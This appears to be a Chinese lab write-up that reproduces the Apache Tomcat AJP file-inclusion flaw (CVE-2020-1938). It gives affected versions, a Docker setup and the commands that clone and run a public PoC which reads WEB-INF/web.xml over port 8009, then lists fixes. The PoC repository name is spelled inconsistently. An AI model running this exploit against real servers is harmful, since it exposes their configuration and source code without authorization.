Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938) 复现

0x01 漏洞概述

CVE-2020-1938 漏洞是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞。Tomcat 服务器作一个免费的开放源代码的Web 应用服务器,其安装后会默认开启ajp连接器,方便与其他web服务器通过ajp协议进行交互。

该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件,例如可以读取 webapp 配置文件或源代码。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。

0x02 影响范围

受影响版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

不受影响版本

Apache Tomcat = 7.0.100
Apache Tomcat = 8.5.51
Apache Tomcat = 9.0.31

0x03 环境搭建

本来想直接在vulfocus拉取镜像,但是发现8009端口貌似没开呀!于是乎就用docker拉取tomcat-8.5.32环境来复现了

docker搜索tomcat镜像

docker search tomcat-8.5.32

拉取镜像

docker pull duonghuuphuc/tomcat-8.5.32

在这里插入图片描述拉取完成后查看是否成功

docker images

Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938) 复现_第1张图片运行镜像并映射端口

docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32

并查看是否运行成功

docker ps -a

在这里插入图片描述
成功后访问系统地址
Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938) 复现_第2张图片nmap一下试试
Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938) 复现_第3张图片

0x04 使用poc利用漏洞

poc地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

在kali中克隆poc脚本到本地

git clone https://github.com/YDHCUI/CNVID-2020-10487-Tomcat-Ajp-lfi.git

Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938) 复现_第4张图片

python CNVID-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.152 -p 8009 -f WEB-INF/web.xml

Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938) 复现_第5张图片 至此,我们已成功复现CVE-2020-1938漏洞,利用文件包括含漏洞可进一步获得RCE, 可参考此文章:CVE-2020-1938 幽灵猫漏洞RCE

0x05 修复方案

临时禁用AJP协议8009端口,在conf/server.xml配置文件中注释掉
配置ajp配置中的secretRequired跟secret属性来限制认证;

0x06 参考链接

https://www.cnblogs.com/xyongsec/p/12340606.html
https://www.tqwba.com/x_d/jishu/106658.html

你可能感兴趣的:(#,漏洞复现)